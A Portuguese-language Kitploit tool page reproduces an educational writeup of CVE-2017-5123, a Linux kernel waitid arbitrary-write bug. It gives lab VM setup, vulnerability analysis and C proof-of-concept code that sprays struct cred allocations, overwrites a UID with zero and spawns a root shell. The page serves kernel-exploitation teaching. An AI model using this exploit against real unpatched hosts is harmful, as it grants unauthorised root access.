Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
CVE-2017-5123 — PoC CVE-2017-5123 - LPE - Contornando SMEP/SMAP. Sem KASLR | Kitploit
Ferramentas/GitHubGitHub/c3r34lk1ll3r/cve-2017-5123
Escalada de PrivilégiosExploraçãoAprendizado e EducaçãoExploração de BináriosLabs e Prática
GitHubc3r34lk1ll3r/cve-2017-5123

CVE-2017-5123

PoC CVE-2017-5123 - LPE - Contornando SMEP/SMAP. Sem KASLR

Ver Repositório
3344há 6 anosRevisado pelo Kitploit

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

CVE-2017-5123

Prova de Conceito CVE-2017-5123 - EPL - Contornando SMEP/SMAP. Sem KASLR

A implementação waitid em kernels upstream não restringia o destino alvo para copiar informações de resultados. Isso pode permitir que usuários locais escrevam em memória do kernel protegida, levando à escalação de privilégios.

Introdução

Neste pequeno writeup, analisarei uma vulnerabilidade do kernel que nos permite obter privilégio root.

Este arquivo está dividido em quatro partes:

  1. Configuração da VM;
  2. Análise da vulnerabilidade;
  3. Exploração;
  4. PoC.

Quero destacar que existem muitas maneiras melhores de explorar este CVE (de fato, isso é apenas um PoC para aprender o kernel, não pode ser usado in the wild), mas acredito que esta metodologia pode ser útil como uma introdução à exploração do kernel.

Configuração da VM

Compilação do Kernel

Esta vulnerabilidade foi introduzida em 4c48abe91be0, então precisamos compilar essa versão do kernel.

Isso pode ser um pouco complicado porque é uma versão antiga e o código deve ser corrigido. Criei um repositório com um código de kernel já corrigido e um arquivo .config para que você possa clonar e compilar.

root@kitploit:~
git clone https://github.com/c3r34lk1ll3r/kernel_mirror.git
cd kernel_mirror
git checkout origin/modified_v4.14
wget https://gist.githubusercontent.com/c3r34lk1ll3r/c9c34ae86140cc7a24d0d90141686ee8/raw/52431b577a71e3fe8f89d6ce355ce9c1c54c53b6/.config
make -j 8 --output-sync=recurse

Observe que este kernel será compilado com drivers virtio para que você possa usar virtio disk para compartilhar arquivos de/para a VM.

Configuração do Rootfs

Agora, criaremos o rootfs inicial:

root@kitploit:~
qemu-img create -f raw hda.raw 10G
# Formata o disco para ext4
mkfs.ext4 ./hda.raw 
# Cria um ponto de montagem para a imagem
mkdir /tmp/mount1
# Monta o disco
sudo mount -o loop ./hda.raw /tmp/mount1

Em seguida, devemos instalar uma distribuição Linux básica, por exemplo usando pacstrap ou debootstrap.

root@kitploit:~
sudo pacstrap /tmp/mount1 base base-devel vim

Finalmente, podemos modificar o sistema:

root@kitploit:~
# Adiciona um usuário 'test'
echo 'test:x:1000:1000::/home/test:/bin/bash' | sudo tee -a /tmp/mount1/etc/passwd
# Sem senha
echo 'test::14871::::::' | sudo tee -a /tmp/mount1/etc/shadow 
# Podemos montar um disco virtio para compartilhar arquivos entre host e convidado
echo '/transient /home/test/shared 9p trans=virtio,version=9p2000.L,rw,user,exec 0 0' | sudo tee -a /tmp/mount1/etc/fstab
sudo mkdir -p /tmp/mount1/home/test/shared 
# É útil ter permissão sudo
echo '%wheel ALL=(ALL) NOPASSWD: ALL' | sudo tee -a /tmp/mount1/etc/sudoers
echo 'wheel:x:998:test' | sudo tee -a /tmp/mount1/etc/group

sudo chown -R 1000:1000 /tmp/mount1/home/test
sudo umount /tmp/mount1

Se tudo estiver em ordem, podemos testar nosso sistema com qemu:

root@kitploit:~
qemu-system-x86_64 \
    -kernel ./kernel_mirror/arch/x86_64/boot/bzImage \
    -hda ./hda.raw \
    -m 4G \
    -cpu "Skylake-Client-IBRS,ss=on,vmx=on,hypervisor=on,tsc-adjust=on,clflushopt=on,umip=on,md-clear=on,stibp=on,arch-capabilities=on,ssbd=on,xsaves=on,pdpe1gb=on,ibpb=on,amd-ssbd=on,skip-l1dfl-vmentry=on,hle=off,rtm=off" \
    -smp 4 \
    -vga virtio \
    -enable-kvm \
    -nographic \
    -machine type=q35,accel=kvm \
    -virtfs "fsdriver=local,id=fs.1,path=./trans_fs,security_model=mapped,writeout=immediate,mount_tag=/transient" \
    -append "root=/dev/sda rw noquiet nokaslr console=ttyS0 loglevel=5" \
    -chardev "vc,id=vc.0,cols=1920,rows=1080" \
    -net "user,hostfwd=tcp::10022-:22" \
    -net "nic" \
    -s

Vulnerabilidade

A descrição do CVE diz que há uma operação de escrita não restrita durante a chamada de sistema waitid.

Vamos abrir kernel/exit.c e olhar o código:

root@kitploit:~
SYSCALL_DEFINE5(waitid, int, which, pid_t, upid, struct siginfo __user *,
		infop, int, options, struct rusage __user *, ru)
{
    struct rusage r;
    struct waitid_info info = {.status = 0};
    long err = kernel_waitid(which, upid, &info, options, ru ? &r : NULL);
    int signo = 0;

    if (err > 0) {
        signo = SIGCHLD;
        err = 0;
        if (ru && copy_to_user(ru, &r, sizeof(struct rusage)))
            return -EFAULT;
    }
    if (!infop)
        return err;
    user_access_begin();
    unsafe_put_user(signo, &infop->si_signo, Efault);
    unsafe_put_user(0, &infop->si_errno, Efault);
    unsafe_put_user(info.cause, &infop->si_code, Efault);
    unsafe_put_user(info.pid, &infop->si_pid, Efault);
    unsafe_put_user(info.uid, &infop->si_uid, Efault);
    unsafe_put_user(info.status, &infop->si_status, Efault);
    user_access_end();
    return err;
Efault:
    user_access_end();
    return -EFAULT;
}

Esta função é bastante direta: após algumas verificações, há várias chamadas para unsafe_put_user(...) e a função retorna.

A parte principal desta função é composta pela função unsafe_put_user(...), então vamos para lá (arch/x86/include/asm/uaccess.h):

root@kitploit:~
/*
 * The "unsafe" user accesses aren't really "unsafe", but the naming
 * is a big fat warning: you have to not only do the access_ok()
 * checking before using them, but you have to surround them with the
 * user_access_begin/end() pair.
 */
#define user_access_begin()	__uaccess_begin()
#define user_access_end()	__uaccess_end()

#define unsafe_put_user(x, ptr, err_label)					\
do {										\
    int __pu_err;								\
    __typeof__(*(ptr)) __pu_val = (x);					\
    __put_user_size(__pu_val, (ptr), sizeof(*(ptr)), __pu_err, -EFAULT);	\
    if (unlikely(__pu_err)) goto err_label;					\
} while (0)

#define unsafe_get_user(x, ptr, err_label)					\
do {										\
    int __gu_err;								\  
    __inttype(*(ptr)) __gu_val;						\
    __get_user_size(__gu_val, (ptr), sizeof(*(ptr)), __gu_err, -EFAULT);	\
    (x) = (__force __typeof__(*(ptr)))__gu_val;				\
    if (unlikely(__gu_err)) goto err_label;					\
} while (0)

Há um grande aviso no comentário: se você quiser usar unsafe_put/get_user, deve primeiro chamar access_ok() e envolvê-los com user_access_begin/end().

Se observarmos o código anterior (waitid), podemos ver que access_ok() nunca é chamado, então a chamada de sistema viola este aviso.

Mas o que são essas macros?

SMAP/SMEP

SMAP e SMEP são dois recursos de segurança introduzidos no kernel para dificultar a escrita de exploits. Vale notar que esses recursos são aplicados pela CPU.

SMEP impede a execução de código do espaço do usuário enquanto a CPU está em modo supervisor; SMAP, por outro lado, bloqueia o acesso de leitura/escrita à memória do usuário.

O kernel precisa escrever/ler dados de/para a memória do usuário e isso pode ser feito de duas maneiras:

  1. existem funções (ex.: copy_from_user) que permitem copiar a memória no espaço do kernel;
  2. desabilitar temporariamente o SMAP

Como podemos ver na definição de unsafe_put_user, esta função irá apenas copiar o valor de x para a memória apontada por ptr (e pular para err_label se houver erro). Acabamos de dizer que o kernel não pode acessar o espaço do usuário por causa do SMAP, e é por isso que essas funções devem ser envolvidas por user_access_begin/end().

root@kitploit:~
#define __uaccess_begin() stac()
#define __uaccess_end()   clac()

Como podemos ver, user_access_begin/end são simplesmente as instruções ASM stac e clac.

  • stac: "Define o bit de flag AC no registrador EFLAGS. Isso pode ativar a verificação de alinhamento de acessos a dados do modo de usuário. Permite acessos explícitos do modo supervisor a páginas do modo de usuário mesmo se o bit SMAP estiver definido no registrador CR4."
  • clac: "Limpa o bit de flag AC no registrador EFLAGS. Isso desabilita qualquer verificação de alinhamento de acessos a dados do modo de usuário. Se o bit SMAP estiver definido no registrador CR4, isso impede acessos explícitos do modo supervisor a páginas do modo de usuário."

Basicamente, essas duas macros ativam/desativam o SMAP.

Nosso "aviso" anterior também menciona a função access_ok:

root@kitploit:~
/**
 * access_ok: - Verifica se um ponteiro de espaço do usuário é válido
 * @type: Tipo de acesso: %VERIFY_READ ou %VERIFY_WRITE. Note que
 *        %VERIFY_WRITE é um superconjunto de %VERIFY_READ - se for seguro
 *        escrever em um bloco, sempre é seguro ler dele.
 * @addr: Ponteiro do espaço do usuário para o início do bloco a verificar
 * @size: Tamanho do bloco a verificar
 *
 * Contexto: Apenas contexto de usuário. Esta função pode dormir se falhas de página
 *          estiverem habilitadas.
 *
 * Verifica se um ponteiro para um bloco de memória no espaço do usuário é válido.
 *
 * Retorna verdadeiro (diferente de zero) se o bloco de memória pode ser válido,
 * falso (zero) se for definitivamente inválido.
 *
 * Note que, dependendo da arquitetura, essa função provavelmente apenas
 * verifica se o ponteiro está na faixa do espaço do usuário - após chamar
 * esta função, funções de acesso à memória ainda podem retornar -EFAULT.
 */
#define access_ok(type, addr, size)					\
({									\
	WARN_ON_IN_IRQ();						\
	likely(!__range_not_ok(addr, size, user_addr_max()));		\
})

O comentário aqui é autoexplicativo: esta macro verifica se o ponteiro é um ponteiro válido do espaço do usuário.

Escrita arbitrária

Vamos dar outra olhada no código do waitid:

root@kitploit:~
	user_access_begin();
	unsafe_put_user(signo, &infop->si_signo, Efault);
	unsafe_put_user(0, &infop->si_errno, Efault);
	unsafe_put_user(info.cause, &infop->si_code, Efault);
	unsafe_put_user(info.pid, &infop->si_pid, Efault);
	unsafe_put_user(info.uid, &infop->si_uid, Efault);
	unsafe_put_user(info.status, &infop->si_status, Efault);
	user_access_end();

Como você já deve ter adivinhado, a ausência de access_ok() leva a uma escrita arbitrária em qualquer lugar da memória, pois o ponteiro infop é completamente controlado pelo atacante.

Gatilho do bug

É muito fácil alcançar o caminho vulnerável e podemos criar um gatilho com este código simples:

root@kitploit:~
int thread_ready;
int die_thread(void *arg){
    thread_ready=1;
    syscall(__NR_sched_yield);
    return 0;
}
void *stack;
int trigger_bug(uint64_t where, int what){
  printf("[0] Tentando sobrescrever 0x%016lx\r", where);
  //int pid = fork(); // Também é possível usar a chamada de sistema fork
  thread_ready = 0; 
  int pid = clone(die_thread, stack, CLONE_VM | CLONE_FS|CLONE_FILES|CLONE_SYSVSEM | SIGCHLD, NULL);
  int err;
  while(thread_ready == 0) {syscall(__NR_sched_yield);} // Devemos esperar a thread
  err = syscall(__NR_waitid, P_PID, pid, where, WEXITED, NULL);   
  return err;
}

Este código simples acionará a vulnerabilidade e escreverá na memória apontada pelo endereço where.

Podemos usar o gdb se quisermos verificar este gatilho. Por exemplo, podemos selecionar um endereço arbitrário e usar a função trigger_bug para sobrescrevê-lo.

Exploração

Esta vulnerabilidade pode ser explorada de várias maneiras, mas prefiro uma abordagem muito simples.

Lembre-se de que podemos escrever onde quisermos, mas os dados escritos são parcialmente controlados. Podemos sobrescrever um endereço com 0.

A ideia básica é sobrescrever o UID do nosso processo e nos tornar root, mas primeiro precisamos entender o que são credenciais no Linux.

Fork

Começamos investigando a chamada de sistema fork. Esta função é usada para criar novos processos.

Podemos verificar o código em kernel/fork.c:

root@kitploit:~
SYSCALL_DEFINE0(fork)
{
	return _do_fork(SIGCHLD, 0, 0, NULL, NULL, 0);
}

Portanto, a chamada de sistema fork é simplesmente um wrapper para _do_fork com parâmetros hardcoded.

Esta última função é um pouco longa, mas podemos resumi-la assim:

root@kitploit:~
long _do_fork(unsigned long clone_flags,
	      unsigned long stack_start,
	      unsigned long stack_size,
	      int __user *parent_tidptr,
	      int __user *child_tidptr,
	      unsigned long tls)
{
	struct task_struct *p;
	int trace = 0;
	long nr;
  ......

  // Isso criará outra task_struct, mas NÃO iniciará o processo. 
	p = copy_process(clone_flags, stack_start, stack_size,
			 child_tidptr, NULL, trace, tls, NUMA_NO_NODE);
	add_latent_entropy();
  ......
    // Acorda a nova tarefa criada. Isso definirá o estado da tarefa como RUNNING e a enfileirará na fila de execução
		wake_up_new_task(p);
  ......
		put_pid(pid);
	} else {
		nr = PTR_ERR(p);
	}
	return nr;
}

Esta função alocará um novo objeto task_struct. Embora esta estrutura seja realmente importante (ela descreve um processo), vamos focar nossa atenção no campo cred:

root@kitploit:~
...
	/* Credenciais do processo: */
	/* Credenciais do rastreador no momento da anexação: */
	const struct cred __rcu		*ptracer_cred;

	/* Credenciais objetivas e reais subjetivas da tarefa (COW): */
	const struct cred __rcu		*real_cred;

	/* Credenciais subjetivas efetivas (substituíveis) da tarefa (COW): */
	const struct cred __rcu		*cred;
  ...

Como podemos ver, há (três) ponteiros para struct cred. Vamos ver como essa estrutura é composta (include/linux/cred.h):

root@kitploit:~
struct cred {
	atomic_t	usage;
#ifdef CONFIG_DEBUG_CREDENTIALS
	atomic_t	subscribers;	/* número de processos inscritos */
	void		*put_addr;
	unsigned	magic;
#define CRED_MAGIC	0x43736564
#define CRED_MAGIC_DEAD	0x44656144
#endif
	kuid_t		uid;		/* UID real da tarefa */
	kgid_t		gid;		/* GID real da tarefa */
	kuid_t		suid;		/* UID salvo da tarefa */
	kgid_t		sgid;		/* GID salvo da tarefa */
	kuid_t		euid;		/* UID efetivo da tarefa */
	kgid_t		egid;		/* GID efetivo da tarefa */
	kuid_t		fsuid;		/* UID para operações VFS */
	kgid_t		fsgid;		/* GID para operações VFS */
  ......

Como podemos ver, o UID de um processo é simplesmente um inteiro sem sinal (siga a definição de kuid_t), então podemos simplesmente sobrescrever este valor com 0 para nos tornarmos root.

Copy_process

A estrutura task_struct é alocada na função copy_process, que é um pouco complexa e seu objetivo principal é "copiar" o processo em um novo.

Podemos nos concentrar em copy_creds(p, clone_flags), que é definido como:

root@kitploit:~
/*
 * Copia credenciais para o novo processo criado por fork()
 *
 * Compartilhamos se pudermos, mas sob algumas circunstâncias temos que gerar um novo
 * conjunto.
 *
 * O novo processo obtém as credenciais subjetivas do processo atual como suas
 * credenciais objetivas e subjetivas
 */
int copy_creds(struct task_struct *p, unsigned long clone_flags)
{
	struct cred *new;
	int ret;

	if (
#ifdef CONFIG_KEYS
		!p->cred->thread_keyring &&
#endif
		clone_flags & CLONE_THREAD
	    ) {
		p->real_cred = get_cred(p->cred);
		get_cred(p->cred);
		alter_cred_subscribers(p->cred, 2);
		kdebug("share_creds(%p{%d,%d})",
		       p->cred, atomic_read(&p->cred->usage),
		       read_cred_subscribers(p->cred));
		atomic_inc(&p->cred->user->processes);
		return 0;
	}

	new = prepare_creds();
	if (!new)
		return -ENOMEM;

	if (clone_flags & CLONE_NEWUSER) {
		ret = create_user_ns(new);
		if (ret < 0)
			goto error_put;
	}

.........

error_put:
	put_cred(new);
	return ret;
}

Como podemos ver, esta função chama prepare_creds, onde a alocação real é realizada.

Agora temos um caminho para alocar um número (pseudo)arbitrário de struct cred:

  1. _do_fork()
  2. copy_process()
  3. copy_creds()

Nosso último problema é como chamar _do_fork() do espaço do usuário. Podemos usar fork, mas isso pode ser lento, então usaremos clone.

Nota: não podemos usar pthread por causa das flags: se você olhar o código copy_creds, notará que há um caminho onde a estrutura não é realmente alocada.

Juntando tudo

Agora, um pequeno resumo:

  1. somos capazes de acionar o bug e escrever na memória
  2. sabemos que podemos escrever 0 na memória
  3. sabemos que se sobrescrevermos o UID de um processo com 0, ele obtém permissões root.

Agora precisamos saber onde escrever na memória e, embora o KASLR esteja desabilitado, o endereço de um struct cred não é estável o suficiente, então decidi proceder com memory spraying.

Spraying

Precisamos encontrar o struct cred na memória para detectar uma faixa de endereços. Podemos usar gdb e python com um script como este:

root@kitploit:~
....
for task in task_lists():
    #gdb.write("{address} {pid} {comm}\n".format(
    #    address=task,
    #    pid=task["pid"],
    #    comm=task["comm"].string()))
    comm = task["comm"].string()
    # Insira o nome do seu executável
    if comm == "exploit":
        print(task['cred'])
....

Nota: este script funciona apenas com KASLR desabilitado e com símbolos de depuração (precisamos do ponteiro init_task). Podemos tentar algumas vezes e ver que o heap cresce para baixo, então podemos tentar um endereço inferior e subir.

Agora podemos usar a chamada de sistema clone para gerar muitos processos e, graças ao gdb, podemos verificar os endereços:

root@kitploit:~
stack=malloc(STACK_SIZE)+STACK_SIZE;
  for(x=0;x<MAX_THREADS;x++){
    stackTop = malloc(STACK_SIZE) + STACK_SIZE;
    if (!stackTop){
      perror("[-] Malloc");
      return -1;
    }
    // a função spray_thread pode ser simplesmente um loop infinito
    pid = clone(spray_thread, stackTop, CLONE_VM | CLONE_FS|CLONE_FILES|CLONE_SYSVSEM | SIGCHLD, NULL);
    if (pid == -1){
      perror("\n\nCLONE");
      return -1;
    }
    printf("[0] Processo criado: %d\r", x);
    }

Nota: Talvez você não consiga gerar mais de 4k processos. Verifique ulimits se for o caso.

PoC

Finalmente, podemos escrever nosso PoC.

Basta chamar trigger_bug com diferentes endereços (procurando a estrutura) enquanto nossa thread gerada verifica seu UID, assim:

root@kitploit:~
struct shared_area{
  int one_win;
};
struct shared_area glob_var;

// Thread pulverizada
int spray_thread(void *arg){
  int uid;
  int previous_one = syscall(__NR_getuid);
  // Loop sobre a chamada de sistema getUID
  while(1){
    uid = syscall(__NR_getuid);
    //printf("UID: %d\n",uid);
    // Se o UID retornado for diferente do anterior, então acertamos uma área de struct cred
    if (uid != previous_one){
      printf("VITÓRIA!! com %d", uid);
      // Mata outras threads para estabilizar o sistema
      glob_var.one_win = 1;
      // Simplesmente gera um shell
      system("/bin/sh");
    }
    if(glob_var.one_win == 1)
      return 1;
  }
  return 0;
}

Há uma probabilidade de 50% de acertar a estrutura, então após algumas tentativas você pode obter privilégio root.

Root

Conclusão

Este é um PoC (básico) e o spraying está longe de ser perfeito. Esta é apenas uma "introdução" ao incrível mundo do kernel; existem muitos conceitos que pulei, mas eles são extremamente importantes (como gerenciamento de memória). Se você quiser estudar mais a fundo, pode dar uma olhada em prepare_creds e nas alocações de memória.

O KASLR está desabilitado, mas esta vulnerabilidade permite contornar essa mitigação também (unsafe_put_user não trava com endereços inválidos), mas não acho que adicionar uma nova "camada" de força bruta seja útil se seu objetivo é aprender o kernel. Se seu objetivo é usar esta vulnerabilidade in the wild, você deve escrever um exploit diferente (pelo menos, um spraying diferente).

Para reflexão: usei esta vulnerabilidade para entender e tentar a técnica ret2dir (Dica: você pode acionar a escrita no endereço alias e ler a modificação com endereço do espaço do usuário).

Referências

  • https://salls.github.io/Linux-Kernel-CVE-2017-5123/
  • https://blog.lexfo.fr/cve-2017-11176-linux-kernel-exploitation-part1.html
Baixar ferramenta